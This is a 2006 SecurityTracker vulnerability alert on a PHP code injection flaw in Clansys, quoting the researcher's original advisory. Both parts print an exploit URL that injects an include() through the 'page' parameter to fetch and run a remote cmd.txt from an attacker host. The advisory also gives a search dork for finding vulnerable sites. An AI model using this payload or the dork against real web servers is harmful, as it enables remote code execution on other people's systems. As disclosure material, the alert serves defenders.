Clansys Input Validation Bug in 'page' Parameter Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1015988
|
|
SecurityTracker URL: http://securitytracker.com/id?1015988
|
|
CVE Reference: CVE-2006-2005
(Links to External Site)
|
|
OSVDB Reference: 25083
(Links to External Site)
|
Updated: May 3 2006
|
Original Entry Date: Apr 25 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.1 and prior versions
|
Description: A vulnerability was reported in Clansys. A remote user can execute arbitrary code on the target system.
The 'index.php' script does not properly validate user-supplied input in the 'page' parameter. A remote user can supply a specially
crafted URL to pass arbitrary PHP code to an eval() statement, causing the system to execute the code. The PHP code, including
operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[ClanSysPath]/index.php?
page=<?include($s);?>&s=http://[attacker]/cmd.txt?
The vendor was notified April 23, 2006.
The original advisory is available
at:
http://www.nukedx.com/?viewdoc=29
Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI reported this vulnerability.
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.clansys.de.vu/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "Mustafa Can Bjorn IPEKCI" <nukedx@nukedx.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 24 Apr 2006 00:03:06 +0300
From: "Mustafa Can Bjorn IPEKCI" <nukedx@nukedx.com>
Subject: Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
|
--Security Report--
Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 23/04/06 21:07 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
---
Vendor: Clansys (http://www.clansys.de.vu/)
Version: 1.1 and prior versions must be affected.
About: Via this methods remote attacker can insert PHP code to Clansys.
The page parameter in index.php did not sanitized properly.
You can found vulnerable code at line 126 as an
Code->
eval("?>" . $output);
<-Code
Purely nice coding isn't it?;)
Level: Highly Critical
---
How&Example:
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE ->
http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt
?
With this example remote attacker can include arbitrary PHP files..
---
Timeline:
* 23/04/2006: Vulnerability found.
* 23/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=29
---
Dorks: "ClanSys v1.1"
---
Credits: WW, str0ke , n0m3rcy and all my friends
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=29
---
PS: Corrected example
|
|
